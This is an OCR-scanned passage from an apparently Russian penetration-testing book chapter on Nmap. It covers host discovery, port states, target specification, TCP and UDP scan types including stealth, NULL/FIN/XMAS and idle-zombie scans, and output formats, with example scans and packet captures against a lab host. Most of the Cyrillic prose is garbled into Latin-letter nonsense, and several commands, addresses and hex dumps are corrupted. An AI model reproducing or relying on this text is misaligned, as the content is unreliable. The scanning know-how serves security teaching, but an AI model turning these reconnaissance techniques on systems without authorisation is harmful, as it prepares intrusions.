Nmap — 510 MHOTODYHKITMOHAILHBII CKaHEP MOPTOB, TOTYJISIPHbII B COOOIIECTBE TI0
IT-6e3onacuocru. ITpunoxenne vamcano u noguepxusaercs Oegopom (Fyodor).
Nmap — oueHb THOKHIT 1 KaUeCTBEHHDIN HHCTPYMEHT, KOTOPBIiT IOJIKEH OBITH Y KaKI0TO
TecTepa Ha IPOHUKHOBEHUE.

Nmap BbITIOJHAET Pa3aUIHbIe (DYHKITAM.

O Oo6uapyskenue X0cToB. Nmap MOKHO UCIIOJIb30BaTh JIjIsl HOUCKA PabOTAIOMIMX XO-
CTOB B LiesieBbIX cucremax. [To ymomyanuo Nmap /it oGHapysKeHHUs: X0CTa OTIpaB-
sstet axo-3arpoc ICMP, maker TCP SYN na mopt 443, maker TCP ACK na mopt 80
u 3ampoc MeTku Bpemenu ICMP.

O Oo6napy:xenue ciaysk0b1/Bepcun. Ilocie obHapysKeHus mopros Nmap MOKeT 10-
HOJIHUTETBHO MPOBEPUTH MPOTOKOJ CIIYKOBI, UMSI U HOMEP BEPCUU MPUITIOKEHUS,
HCII0JIh3yEMOT0 HA I[EJIEBOM KOMITBIOTEDE.

O OGuapysKeHHEe ONEPANUOHHOI crucTeMbl. Nmap OTIPaBJIAET P/l MAKETOB Ha y/a-
JIEHHBIH XOCT U TIPOBEPSIET OTBETHL. 3aT€M OH CPABHUBAET STU OTBETHI CO CBOEH 6a30it
JAHHBIX OTTIEYATKOB ONEPAIIMOHHON CUCTEMBI U, €CJIM €CTh COBIIAZICHIUE, BBIBOAUT
nozpobuyio undopmanuio. Ecim Nmap He MOKET Onpeie/uTh OTeparnoHHyio Cu-
creMy, oH npenocrasisier URL-azpec, Ha KOTOPBIN MOKHO OTIIPaBUTDb OTIIEYaTOK
1151 o6HoBIeHus 6asbl ganHbx otiedatkoB OC. Koneuno, eciu Bbl 3HaeTe omepaiu-
OHHYIO CUCTEMY, UCTTOJIb3YEMYIO B IIEJIEBOI CHCTEMe, BaM CJIe/lyeT Cpa3y OTIPAaBUTh
OTTIEYATOK.

O TpaccupoBka ceTd. JTO ICHCTBUE BBITIOJHSIETCS JIJIS OTIPE/IeJICHUS TOPTa U TTPOTO-
KOJIa, KOTOpBIE, BEPOsITHEE BCETO, IOCTUTHYT 1eJieBoil cuctembl. TpaccupoBka Nmap
HauWHAETCA ¢ BbICOKOTO 3HaueHus T TL 1 yMeHbITaeTcs 0 TeX Mop, TOKa 3HAYCHUEe
TTL me nocTurHeT HYJIA.

O Nmap Scripting Engine. C nomoriibo a10ii hyHKI[rm Nmap MoKeT ObITh PacIIiPeH.
Eciau BbI X0THTE 06aBUTH B CKaHEP HE BKJIUYEHHYIO 110 YMOJYAaHUIO TIPOBEPKY,
HAITUIITHTE ee ¢ TTOMOTIbI0 06paboTunka crieHapreB Nmap. B HacTostiiee Bpemst po-
BOJISITCST TTPOBEPKY Ha HAJIMYNE YSI3BIMOCTEH B CETEBBIX CITYKOAX U MepeyncIeHne
PeCypcoB B I[eJIEBOI CHCTEME.

Bceria pekoMmenjyercs 1mpoBepsTh HaJMure HOBBIX Bepcuii. Eciiu HoBas Bepcus
Nmap aus Kali Linux naiigena, 15 oOHOBIEHUS BHIIIOJIHUTE CIEAYIONINE KOMAHIBL:

apt-get update
apt-get install nmap



168 nasa 5 e MeToAbl CKAHMPOBAHWNA N YKIIOHEHUS

3amyctuth Nmap MOKHO AByMs1 criocobamut. [lepBbiit — oTKpBITH MeHIo Applications
(IIpunosxkenus), saiitu B moaMeHIo Information Gathering (C60p uH(OpMaLum) 1 MmejK-
HYTh Ha HA3BaHUU HYKHOTO MpUJI0KeHus. BTopoii crocob — 3amycTuth TepMUHA
U BBECTHU B KOHCOJIb KOMAHIY:

nmap

Byner 3amymien ckanep Nmap, ¥ Bbl yBUANTE OIIMCAHUE 3TOTO TIPUIOKeHNsT. Bo3MOK-
HO, JIJTS HOBUYKA OMHCAHUE TTOKAKETCS CITOKHBIM.

K cuacTtblo, it CKAaHUPOBAHKS YIAJIEHHOM MallliHbl TPeOYETCsT TOJBKO OJUH Ta-
pametp. Ito IP-anpec meneBoit MammHbl wiH, ecan DNS mpaBuabHO HaCTPOEH, UMS
1IeJIeBOT0 XocTa. /lanHast oneparusi BhITOJTHSIETCS € TIOMOIIIBIO CJIEAYIONIEeN KOMAH/IBI:

nmap 172.16.43.156

Huske npuBesieH 0/{HO3HAYHBIN pe3ybTaT CKaHNPOBAHNUS:

Nmap scan report for 172.16.43.156
Host is up (©.00025s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open  ftp

22/tcp open  ssh

23/tcp open telnet

25/tcp open  smtp

53/tcp open  domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open  microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open  shell

1099/tcp open rmiregistry
1524/tcp open  ingreslock
2049/tcp open nfs

2121/tcp open  ccproxy-ftp
3306/tcp open  mysql

5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open  X11

6667/tcp open irc

8009/tcp open  ajpl3

8180/tcp open unknown

MAC Address: ©00:0C;29:18:0F:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.7 seconds

W3 aroro BbIBO/la Mbl BU/IMM, YTO II€JI€Bas MalllnHa OY€Hb YA3BUMa /IJIsSI aTaKu, TaK
KaK 'y He€ MHOT'O OTKPbITBIX ITOPTOB.



CeTeBoi4 CkaHep 169

Hpe>1<11e Y€M MbI ITPOOJIZKUM HCIIOJIb30BATh Nmap, ITOCMOTPUM Ha COCTOAHUSA

HOPTOB, KOTOPbIE MOTYT ObITH UACHTH(DUIMPOBaHBI ckaHepoM. CyIlecTByeT mecTh Co-
CTOSHU TTOPTOB.

a

O

Open (OTKpPBIT) — O3HAYAET, YTO CYNIECTBYET NMpuJoKeHue, mpuanmaroiniee TCP-
nonkmouyenne, UDP-gararpammy wim accormaruio SCTP.

Closed (3aKkpbIT) — XOTS MOPT U JOCTYIICH, €T0 He CJAYIIACT HU OIHO MPUIOKECHHE.

Filtered (DubTp) — Nmap He MOKET ONIPeIeSTNTh, OTKPBIT MOPT UJIH HET, TOTOMY UTO
CYIIECTBYET YCTPOUCTBO (DUIIBTPAIMH TTAKETOB, OJIOKUPYIOIIEE 3ATPOCHL

Unfiltered (HedwnbTpoBaHHbIi) — 03HAYAET, UTO TOPT JIOCTYTIEH, HO Nmap He MOXKeT
OTIPEIeNIUTh, OTKPBIT OH KJIU 3aKPbIT.

Open|Filtered (OTkpbIT|OTduabTpOBaH) — Nmap He MOXKET ONPEAeTNTh, OTKPIT
MOPT WM OT(UIBTPOBAH. TaK MPOUCXOINT, KOTIa CKAHUPOBAHIE OTKPBITHIX TOPTOB
He gaer orBera. MosKeT ObITh JOCTUTHYTO IIyTEM YCTAHOBKU MEXKCETEBOTO SKPaHa
1t cOpachIBaHKS TAKETOB.

Closed|Filtered (3axpbiT|OTdunbTpoBat) — Nmap He MOKET OIIPE/IIUTh, 3aKPBIT IIOPT
WJIN OTOUIBTPOBAH.

Jlajiee MbI OIHIIIEM HECKOJIBKO BAPUAHTOB, KOTOPbIE OOBIYHO HUCIIOIB3YIOTCS BO BPEMST

TECTUPOBAHWA Ha IPOHUKHOBEHNE, 1 PACCMOTPHUM UX ITPUMEHEHNE Ha ITPAKTHUKE.

Cneundukaums Lenu

Bce koman st Nmap Mbl Oy/IeM BBITIOHSTh B KOMAHIHOW CTPOKe. MBI TaKiKe paccMo-
TPHUM [TapaMeTPbl U apTYMEHTHI CIeM(pUKAIIIH TIeJIeBOTO XOcTa. BMecTo nMeHn XocTa
pexoMen/yeM uciosb3oBarhb ero [P-azpec. B takom ciaydae Nmap He Hy)KHO 110J1y4aTh
paspetienrie DNS, yTo yckopser mpoiiecc CKaHMPOBaHUS IOPTOB.

a
a

B rekymieit Bepcun Nmap moziep;kuBaet ciemyionue cnernrdurarum [Pv4-aapecos.

[MomnepxmBaercs onut y3eu, Harpumep 172.16.43.156.

C nomoriwio Hotarmu CIDR mopnep:xuBaeTcst Best ceTh CMEKHBIX Y3JI0B, HATTPUMED
172.16.43.0/24. I1a cneunduranus 6yaer BrmodaTs 256 IP-agpecos B quanasone
or 172.16.43.0 10 172.16.43.255.

[MonnepxxuBaeTcs ajgpecarusi OKTEeTHOTO jMana3ona, Hanpumep 172.16.2—4,6.1.
Ira axpecarys Oyaer BKIodaTh dyerbipe IP-anapeca: 172.16.2.1,172.16.3.1, 172.16.4.1
n 172.16.6.1.

[MopepxxuBaeTcs MHOKeECTBO crieludukanuii xocrta, Hanpumep 172.16.43.1,
172.168.3-5,9.1.

s TPv6-anpeca Nmap noaiep:KkuBaeT ToJIbKO mosiHbiil (hopmat IPv6 u umst xocTa,

Harmpumep fe80: :a8bb:ccff:fedd:eeff%etho.
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Kpowme 1iesreBoii crierudukaiiim, oydeHHOW 13 KOMaH/THOH cTPOKH, Nmap ¢ TIOMOTIbI0
mapamMmerpa -il <inputfilename> npuUHUMAET I€JI€BOE OINPeLeIeHNEe U3 TEKCTOBOTO
(aiina. Ira hyHKIMS T0JIE3HA, ecyin y Bac yike ecTb [ P-ajipeca 3 pyroii mporpaMMel.

Y6enurech, yTO 3aMUCH B HTOM (haiisie COOTBETCTBYIOT 1iesieBOMY (hopMaTy, moiep-
JKUBAaEMOMY cKarepoM Nmap. 3anucu J0JCKHbI ObITh pasjieJieHbl ipobeaamu, TabyJis-
1uel Wi CMMBOJIAMU [1epexo/ia Ha HOBYIO CTPOKY.

Cutenytotuii KoJi IEeMOHCTPUPYET TPUMeEP TaKoro daiiia:

172.16.1.1-254
172.16.2.1-254

Teneps mpockanupyem cetb 172.16.430/24. Hama 3ajjaua — yBU/IETDb MAKETHI, OT-
npaBsieHHble Nmap. /[7151 MOHUTOPUHTA OTIIPABJIEHHBIX ITAKETOB MOKHO MCIOJIb30BATh
YTUJATY 3aXBaTa MAaKeToB, HarpumMep tepdump.

3aryctuTe KOHCOJIb U BBEIUTE CJAELYIONIYI0 KOMAH/LY:

tcpdump -nnX tcp and host 172.16.43.150
IP-ampec 172.16.43.150 nmpunamiekuT Haleil MalinHe, Ha KOTOPOH 3aIyCKaeTCst
Nmap. Heo6xouMo HaCTPOUTD €r0 B COOTBETCTBUU ¢ KOH(BUTYpaIIHeii.

Ha aTom xe KOMIIbIOTEPE 3aITyCTUTE €Ille OJHY KOHCOJIb U BBE/IUTE CIACAYIOMIYIO
KOMaHAY:

nmap 172.16.43.0/24
B korcosi tepdump BbI yBUIKTE CJIEAYIOTIEE:

22:42:12.107532 IP 172.16.43.150.49270 >172.16.43.156.23: Flags [S],
seq 239440322, win 1024, options [mss 1460], length o

0x0000: 4500 002c eb7f 0000 3006 ad2e c@a8 3866 E..,....0..... 8f
0x0010: cOa8 3867 cO76 0017 0ed5 91c2 0000 00O ..8g.v...E......
0x0020: 6002 0400 4173 0000 0204 O5b4 Y Y-

V3 madopManiy 0 TTakeTe Mbl BUUM, UTO aTaKyIONas MalTiHA OTTIPAaBUJIA TTaKeT
¢ pnarom SYN c nopra 49 270 va mopt 23 11es1€BOI ManTuHbI, MpeAHA3HAYECHHBIH IS
Telnet. Ecoir Nmap 3amyckaeTcst TpUBHIETHPOBAHHBIM TOJH30BATEIEM, HATPUMEP root
B Kali Linux, To ¢urar SYN ycraHaBImMBaeTcst o yMOJTYaHUIO.

Ha puc. 5.13 mokasan maxer, OTIpaBJIeHHBINA aTaKyIOMeN MaIlIMHON Ha APYyTHe Ma-
IIWHBI ¥ TOPTHI B TIEJIEBOI CETH.

Ecin yiameHHbit KOMIbIOTEP OTBETUT, BBIBOJ OY/IET CIEMYIONINM:

22:36:19.939881 IP 172.16.43.150.1720 >172.16.43.156.47823: Flags [R.], seq O,
ack 1053563675, win 0, length ©

0x0000: 4500 0028 0000 4000 4006 48b2 c0a8 3867 E..(..@.@.H...8g

0x0010: cPa8 3866 06b8 bacf 0000 0000 3ecc 1blb ..8f........ PR

0x0020: 5014 0000 a243 0000 00O 00O 00O P....Cooovunn

O6paTute BHMMaHWe, YTO OTNpaBeHHbIN (nar 0bo3Ha4aeTcs CMMBOJIOM R.
70T hnar MoxxHO copocuTb. OH 03Ha4aeT, yTo nopT 1720 Ha ueneBon Ma-
LUMHe 3aKpbIT. Mbl MOXXEM NPOBEPUTDL 3TO C NpeablayLmM pesynsTatoM Nmap.
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852 3.381826 172.16.43.150 172.16.43.156 TCP 54 4640953 [RST] Seq=1 Win=0 Len=0

aptured

37), Dat; Vmware_10:0f;00 (00:0c:29:10:0f:00)

= Cthernet II, Sr |
» Destination: Vmware_18:0f:08 (00:0c:29:18:0f:08)
* Source: Veware_b3:01:37 (00:0c:29:b3:01:37)
Type: IP [0x0800)
¢+ Internst Protocol Version 4, Sre: 172.16.42.150 (172.16.42,150), Dst: 172.16.43.156 (172.16.42.156)
* Transmission Control Protocol, Src Port: 46469 (46409), Dst Port: S3 (S3), Sea: 1. Len: ©
Source Port: 46409 (46409)
Destination Port: 53 (53)
[Streem index: 166]
LTCP Segment Len: O]
Sequence number: 1 {relative sequence number)
Acknowledgment number: O
Header Length: 20 bytes
» .... G0DO 0ODO 0100 = Flags: Ox004 (RST)
wWindow size valus: ©
LCalculated window size: 0]
[Window size scaling factor: -2 (no windoew scaling used}]
¢+ Checksum: Oxb376 [validation disabled]
Urgent peinter: ©

00 0c 29 18 Of DR D0 Oc 29 b3 A1 37 OR 00 45 O
00 22 af a6 40 00 40 06 db d& ac 10 2b ac 10
2b 9c b5 49 00 35 54 aa 02 ec 00 00 00 00 S0 O

00 00 b3 76 00 0O

0010
0020
0030

Puc. 5.13. AHanu3 naketa

Eciu ske IOPT OTKPBIT, Bbl YBUINTE CJIELYIONUI ceTeBoii Tpaduk:

22:42:12.108741 IP 172.16.43.156.23 >172.16.43.150.49270:Flags [S.], seq

1611132106, ack 239440323, win 5840,options [mss 1460], length @
0x0000: 4500 002c 0000 4000 4006 48ae cPa8 3867 E..,..@.@.H...8g
0x0010: cPa8 3866 0017 cO76 6007 ecca 0Qed45 91c3 I 5 P VA S
0x0020: 6012 16d0 elbf 0000 0204 ©5b4 0000

37ech TTOKa3aHo, UTO MaKeT B MPE/BIAYITIEM Ko/ie TIOATBEePK/IaeT MOPSIKOBBIH HO-
Mep, TOKa3aHHbIA B OTBeTe BbINIE. TO eCTh ATOT MaKeT UMeeT HOMEP TTOATBEPIKICHIS
239 440 323, B To BpeMs Kak TPeIbILY NN TTaKeT UMesT TOPsIIKOBbIH HoMep 239 440 322.

[NapameTpbl ckaHnpoBaHua TCP

Jlnist ucrosib3oBanust GOJBINHCTBA MTapaMeTpoB ckaHuposanus TCP Nmap tpebyer
MPUBUJIETHPOBAHHOTO TIOJIB30BATES. ITO MOKET OBITh yUEeTHAS 3aIHCh KOPHEBOTO
ypoBHs B Unix win yueTHast 3aruch aqMuarcTparopa B Windows. YuerHast 3ariich mpu-
MEHSIETCSI JIJIsT OTIIPABKU U TIOJTyYeHHst HeoOGpaboTaHHbIX TTakeToB. [1o ymMordanuio Nmap
6yner BoimosHsTh ipoBepky TCP SYN, HO eciii y ckaHepa HET MPUBUJIETHPOBAHHOTO
MOJIb30BATE ST, OH OyIeT Ucosb3oBath poBepky TCP connect. B Nmap npexycmorpe-
HbI CJIEAYIONNE BU/Ibl CKAHUPOBAHUA.

O TCP-ckanupoBanue noakmoveHus (-sT) — napamerp 3aBepiiaer TpeXCTOPOHHEE
MO/ITBEPIKCHUE CBI3H € KaK/IBIM I[€JIEBBIM TTOPTOM. Ecsin coefimHerne yCTaHoB-
JIEHO YCITENTHO, TIOPT CUUTAETCSI OTKPBITBIM. TpeXcTopoHHee PYKOIOKaTHe — ATO
Me/IJIEHHBII THIT CKAHUPOBAHIS, T09TOMY, CKOPEE BCEro, OH OY/IeT BHECEH B JKyPHAJI
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He]IeBOﬁ MallIMHBI. [[aHHI)IfI IapaMeTp CKaHUPOBaHW A IIPUMEHSAETCA 110 YMOJIYaHH1IO,
ec/im Nmap 3allyCKa€TCsA 110J1b30BaTe/IeEM 6e3 HpI/IBI/I]IeFI/IfI.

O ITockoabKy HEOOXOAUMO BBIIIOJHUTH TPEXCTOPOHHEE PYKOIOKATUE JIJIST KAKIOTO
MOPTa, 3TOT THUIT Pa3BEPTKU MEJJIEHHbII 1, CKOpee Bcero, Oy/leT BHECEH B JKyPHA
nesieBoit Manmiibl. Ecoin Nmap samyckaercst mosib3oBatesieM 6€3 Kakux-aubo mpu-
BUJIETHIA, TAHHBII TTapAMETP CKAHUPOBAHUS BHIOMPAETCS MO YMOTIAHHIO.

O SYN-ckanupoBaHue (-sS) — Takyke U3BECTEH KaK NOAYOMKPOIMbIL NI CKPIMbLLL
SYN. C momoriwio aToro mapamerpa Nmap otmpasiisgeT SYN-TakeT, a 3aTeM 0:KUIaeT
orsera. OtBeT SYN/ACK 03Hauaet, 4To mopT MpoCayIIMBaeTcs cIys;kK00i, a B ciyvae
orBeta RST/ACK cranoButcs sIcCHO, YTO TIOPT He MpocaytuBaetcs. Ecim oTBeta HeT
uin coobrenre 00 ommbre ICMP HeoCTYIHO, TOPT cYrTaeTcst (PUIbTPOBAHHDIM,
Iro GbicTphIil TUIT cKaHUpoBanus. U ele ojiHa JeTalib: TaK KaK TPEXCTOPOHHEe
PYKOTIO)KaTue He 3aBepliaercsi, o0HO He3ameTHO. Ecim Nmap 3amyckaercst ¢ npasa-
MU [PUBUJIETTPOBAHHOTO TTOJTH30BATE IS, JAHHBIH TTapaMeTp YCTaHABIUBAETCS 110
YMOJIYAHHIO.

O TCP NULL-ckauuposaunue (-sN), FIN-ckanupoBanue (-sF), XMAS-ckanu-
posanue (-sX) — NULL-ckaHupoBaHue He yCTaHABIWBAET Bce OUTHI YITPaBJICHUS.
CxanmpoBanue FIN ycranaBiaubaet Tosbko ¢uar FIN, a XMAS-ckanupoBanue
ycranasauBaeT daarn FIN, PSH u URG. Ecau B orBet nosryden maker RST, To
[OPT CYUTAETCST 3AKPBITBIM, & OTCYTCTBIE OTBETA O3HAYAET, UTO TIOPT OTKPHIT/OT-
(uabTpoBaH.

O TCP-ckauupoBanue Maiimona (-sM) — Takoe cKaHUPOBaHUE MPOTOKOJIA OBLIO
npemnoxkeno Y puaiaem Maiimonom (Uriel Maimon). OHo oTipaBuT HakeT ¢ ycra-
HossieHHbIM dutarom FIN/ACK. BSD-nozo6Hble CUCTeMBI I[P OTKPHITOM TIOPTE 9TOT
makeT oTOPOCAT, a ecIu MOPT 3aKpHIT, 6yeT naH otBeT RST.

O TCP ACK-ckanupoBaHue (-SA) — 9TOT TUII CKAHUPOBAHUS MCIOJb3YETCS IS
OTIpe/IeJIeHNs COCTOSTHUsE GpanaMayapa 1 dbuabrpanun moptos. CeTeBoil makeT
naHHorOo THMa otnpasisger Toabko 6ut ACK. Ecau B otBet momyunm RST, 3HaunT,
1eJTh He (PUITBTPYyeTCs.

QO TCP Window-ckanuposanue (-sW) — 5TOT THII CKAHIPOBAHMsI IIPOBEPSIET M0JISA
TCP Window oTBeTa iepBOTO naketa. OTKPBITHIH TTOPT BBIAACT TIOJOKUTETHHOE 3HA-
yerne okHa TCP. 3akpbIThiii TOPT MOKaKeT HyJieBoe 3HaueHne okHa TCP.

O TCP Idle-ckanuposanue (-sI) — npu UCIIOIB30BAHNN JAHHOTO METO/A MAKEThI
He OTTIPABJISAIOTCA 1esIeBoil MainnHe. byzieT mpoBeieHo CKaHMPOBaHNe YKa3aHHOTO
Bamu 30MbOu-xocTa. IDS coobuuT, 4To aTaKy IIpOBOAUT 30MOU.

Kpome Toro, ¢ momorpio mapamerpa scanflags Nmap mo3BoJisieT BaM Co3/aTh coO-
creerroe TCP-ckannpoBanue. ApryMeHT ISt 9TOTO TIapaMeTpa MOKET OBITh YHCTOBBIM,
nanpumep 9 st PSH u FIN, nm omcsiBaTbhest cMMBOTBHBIMEU MeHaMH. 7151 orrcanmst
HabOpa mapaMeTpPoB CJEYET Tocje scanflags B II0OOOM MOPSIIKE BBECTH KOMOWHATINIO
URG, ACK, PSH, RST, SYN, FIN, ECE, CWR, ALL 1jirt NONE. HaHpI/IMep, napamMmerp --scanflags
URGACKPSH ycranosurt csiaru URG, ACK u PSH.
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CkaHupoBaHune UDP

B ro Bpems kora g ckanupoBanus TCP rnpesycMOTpeHO MHOTO THIIOB, JIJIsl CKAHUPO-
Baanst UDP — Tonbko onun (-sU). Heemotps Ha To uto mposepka UDP menee naziexxna,
yeMm 11poBepka TCP, ncnpitaTesio Ha IPOHUKHOBEHHUE He CJIe/lyeT UTHOPUPOBATh ee, 110-
Tomy uTo Ha moptax UDP Takske MOTYT HAXOIUTHCST MHTEPECHBIE CITY/KODL.

[Tpu crkarupoBaruu moptoB UDP HauboIbIyt0 MpodIeMy MPeICTaBIISIET CKOPOCTh
craHupoBaHust. S1po Linux orpaHUYuBAaeT OTIIPABKY COOOIIEHUS O HEJOCTYITHOCTHU MOP-
ta ICMP ozuum coobuienueM B CeKyHAy, 10aToMy ckanuposanue UDP 65 536 mopros
npogosKuTes 6osee 18 yacos.

[l yckopeHus CKaHUPOBaHUS MOKHO UCII0JIb30BaTh CJIe/lyI0oN1ue METOIbL.

[TapannenbHoe BoiTosiHEeHNEe cKaHnpoBanus UDP.
CrkaHMpOBaHUE CHAYAJIA CAMBIX MTOTTYJISIPHBIX TOPTOB.
CkanupoBam¥e 3a GpaHaAMAayIPOM.

00 0O

VYeraHoBKY mapamerpa - -host-timeout, 4T0ObI IPOITYCTUTH ME/JIEHHBIE XOCTHI.

ITH METO/BI IIO3BOJIAIOT COKPATUTH BpeMsI, HeoOX0oauMoe 11 ckanuposanus UDP-
MTOPTOB.

PaccmoTtpum ciieHapuii, B KOTOPOM MBI XOTUM HalTH, Kakue UDP-TiopThl OTKPBITEI
Ha I[esieBoil MarmHe. JIJist yCKOpeHust Ipoliecca CKAHUPOBAaHUST MbI OyIeM TIPOBEPSATH
Tos1bK0 TOPTHI 53 (DNS) u 161 (SNMP). /It 3TOr0 MCOIB3yETCS CAEAYIONast
KOMaH/1a:

nmap -sU 172.16.43.156 -p 53,161

Huke IIPpUBE/ICH PE3YJIbTAT €€ BbIIIOJIHEHU A

Nmap scan report for 172.16.43.156
Host is up (0.0016s latency).

PORT STATE SERVICE

53/udp open domain

161/udp closed snmp

Cneundukaums nopta Nmap

B korduryparmu no ymosdanuo Nmap /s Kask[0ro IPOTOKOJIA CyYailHbIM 006pasoM
Gyner ckaHupoBath TobKO 1000 Hanbosee pacnpocTpaHeHHbIX TOPTOB. Daiia nmap-
services CONEPIKUT OLEHKY IOILYJIAPHOCTH JIJIsk BEIOOPA «TOINOBBIX» IIOPTOB.

Yr106bI UIBMEHUTH 9Ty KOH(UTypanuio, Nmap IIpesocTaBisgeT HeCKOJIbKO MapaMe-
TPOB.

QO -p duanasoH_nopmo6 — CKaHUPYIOTCS TOJBKO OTIpe/iesleHHbIe TOPTHL. /L1 ckarupo-
Banwus moptoB ¢ 1 mo 1024 BBeuTe KOMaHIy -p 1-1024. [[J151 CKaHUPOBAaHUS TTOPTOB
¢ 1 mo 65 535 ucnosb3yercst KOMaHIA -p-.

Q -F (fast) — npumeHseTcs 1y cKaHUPoBaHUs TOJIbKO 100 06LIMX OPTOB.
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Q -r (don’t randomize port) — s3azaer 1oc/jeg0BaTeIbHOE CKAHUPOBaHKe IOPTOB (OT
[IEPBOTO JI0 TIOCJIEJTHETO).

a ——top—ports<1unu6onbwe>——6yﬂeTCKaHHpOBaTbTOHLKOPJHOpTOBCcaMbm460ﬂb—
MM 3HaYeHneM, KoTopoe Oy/ieT HaiiieHo B (haiiie nmap-service.

Jl1st moricka mopToB 22 u 25 ¢ momoibio Metoza mposepkr TCP NULL cienyer uc-
M0JIb30BATDH TAKYI0 KOMAHIY:

nmap -sN -p 22,25 172.16.43.156

Pesysibrar CKaHUPOBAHUS OTOOPA3UTCS B TAKOM BUJIE:

Nmap scan report for 172.16.43.156

Host is up (©.00089s latency).

PORT STATE SERVICE

22/tcp open|filtered ssh

25/tcp open|filtered smtp

MAC Address: 00:0C:29:18:0F:08 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

Huke IIpUBE/1CHbL Q)paI‘MeHTI)I JlaMIIa ITaKeTa:

23:23:38.581818 IP 172.16.43.150.61870 >172.16.43.156.22: Flags [], win 1024,

length ©
0x0000: 4500 0028 06e4 0OV 206 92ce cPa8 3866 E..(..../..... 8f
0x0010: cPa8 3867 flae 0016 dd9e bf90 0000 00O ..8g............
0x0020: 5000 0400 2ad2 0000 P... ¥

23:23:38.581866 IP 172.16.43.150.61870 >172.16.43.156.25: Flags [], win 1024,

length ©
0x0000: 4500 0028 1117 0000 3106 869b cPa8 3866 E..(....1..... 8f
0x0010: cPa8 3867 flae 0019 dd9e bf90 0000 00O ..8g............
0x0020: 5000 0400 2acf 0000 P... ¥

23:23:39.683483 IP 172.16.43.150.61871 >172.16.43.156.25: Flags [], win 1024,

length ©
0x0000: 4500 0028 afaf 0000 2706 202 cOa8 3866 E..(....'..... 8f
0x0010: cPa8 3867 flaf 0019 ddof bf9l 0000 00O ..8g............
0x0020: 5000 0400 2acc 0000 P... ¥

23:23:39.683731 IP 172.16.43.150.61871 >172.16.43.156.22: Flags [], win 1024,
length ©

0x0000: 4500 0028 5488 0000 3506 3f2a c@a8 3866 E..(T...5.2*%..8f

0x0010: cPa8 3867 flaf 0016 dd9f bf9l 0000 00O ..8g............

0x0020: 5000 0400 2acf 0000 P...*. ..

s ITAaKETOB, ITIOKAa3aHHbIX B ITPEABbIYIIEM KOJE, Mbl BUAUM CJIEAYIOIIEE.

O B mepBoM 1 BTOPOM IaKeTaxX aTaKyollast MallliHa POBEPSIET, OTKPBIT JIU TOPT 22
Ha 1esieBoii Marune. Yepes HEKOTOpPOE BPEMsI Ha IeJIeBOIT MAIITIHE TIPOBEPSIETCST
mopt 25.



CeTeBoi4 CkaHep 175

O B TpeTheM 1 4eTBEPTOM MAKETaX aTaKyIOIast MAIIMHA ITPOBEPSIET, OTKPBIT JIN MTOPT 25
Ha 1eJieBOI MarnHe. Yepe3 HEKOTOpPoe BpeMs Ha IeJIeBO MalllinHe TPoBepsIeTcs
mopT 22.

O /[lasee aTaxkymolmas MallliHa B TeUEHIEe HEKOTOPOTO BPEMEHN OKU/IaeT OTBET OT Tie-
JieBoit MatuHbl. Ecoi oTBeta Het, Nmap zieaeT BbIBOJ, YTO 9TU [IBA TIOPTA OTKPBITHI
UM OT(HUIBTPOBAHBI.

lNapameTpbl BbiIBOAa Nmap

Pesysbprar ckanupoBaHus IOPTOB € MOMOIIbI0O Nmap MOKHO COXPAaHUTDH BO BHEIIHUIA
(aiir. Ao meiicTBIE MOKHO TPUMEHUTD, €CJTH BBI XOTHTE 00paboTtars pe3ysibrat Nmap
npyrumu uHcrpymenTamu. Ho B io6omM cirydae, Gy/ieT Jiu pe3yibTaT CKaHMPOBAHUS
cOXpaHeH B (haliyl Win HeT, pe3yabTaT OyeT 0TOOpaskeH Ha IKPAHE.

Nmap nozajepKuBaeT HeCKOIBbKO BLIXOHBIX (pOPMATOB.

Q HUnmepaxmusnolii 6v1600. ITOT (hOPMAT BHIBOJIA BEIGPAH 110 YMOTYAHUIO, W PE3YJIHTAT
OTTIPABJISETCS HA CTAHAAPTHBIN BBIBOI.

Q Hopmarviwiii 6vix00 (-oN). [Togo6eH HHTEPAKTUBHOMY BBIXOLY, HO HE COIEPIKUT
CBeJIEHU1T O BpEMEHU BBITIOJTHEHNS W TTPEIYTPEKICHUN.

O Bweod 6 XML (-oX). ITosBosisieT coxpanuth otueT B (hopmare HTML, mpoanasmsu-
poBarh B rpacdudeckoM uHTepeiice mobp3oBaresist Nmap uin IMIOPTHPOBATS B 6asy
JAaHHBIX. PeKoMeHyeM BaM HCIIOIb30BaTh UMEHHO €TO.

Q @opmam eviéoda (-0G). XoTb 9TOT (hopMar ycrapeJi, OH JOBOJBHO MOIyJIsipeH. BoiBo
Grepable cocToUT U3 KOMMeHTapHeB (CTPOK, HAYMHAIOIUXCS cO 3HaKka (yHTa (#))
U LeJIeBBIX CTPOK. IleseBas cTpoka couepKuT KOMOMHAIIMIO U3 IECTH IIOMEYEHHbIX
oJiei, paszieJleHHbIX CUMBOJIAMU TaOYJISIKK, 32 KOTOPBIMU CJIEAYET JBOETOYME.
ITO Takue TOJs, Kak Host, Ports, Protocols, Ignored, OS, Seq, Index, IP ID Seq u Status.
Taxoit popMaT BEIXOAHBIX JAHHBIX CJAEAYET UCII0Ib30BaTh, €I OHK OyayT obpada-
THIBaThCA ¢ omMonibio komang UNIX manogobne grep u awk.

[ns coxpaHeHus pe3ynbtatoB Nmap cpasy B Tpex ¢opmaTtax (normal, XML
1 grepable) Bbl MOXeTe MCNoNb30BaTh NapaMeTp -0A.

Yto6bl COXpaHUTD pe3ysbTaT ckanuposanus B (hopmare HTML (myscan.XML), BbI-
IIOJIHUTE CJIELYIONLYI0 KOMaHLY:

nmap 172.16.43.156 -oX myscan.xml

Hwke npuBenen hparment XM L-aiina:

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE nmaprun>

<?xml-stylesheet href=file:///usr/bin/../share/nmap/nmap.xsl
type="text/xsl"?>
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<!-- Nmap 6.49BETA4 scan initiated Mon Feb 15 18:06:20 2016 as: nmap -oX
metasploitablescan.xml 172.16.43.156 -->
<nmaprun scanner="nmap" args="nmap -oX metasploitablescan.xml
172.16.43.156" start="1455588380" startstr="Mon Feb 15 18:06:20 2016"
version="6.49BETA4"
<scaninfo type="syn" protocol="tcp" numservices="1000"
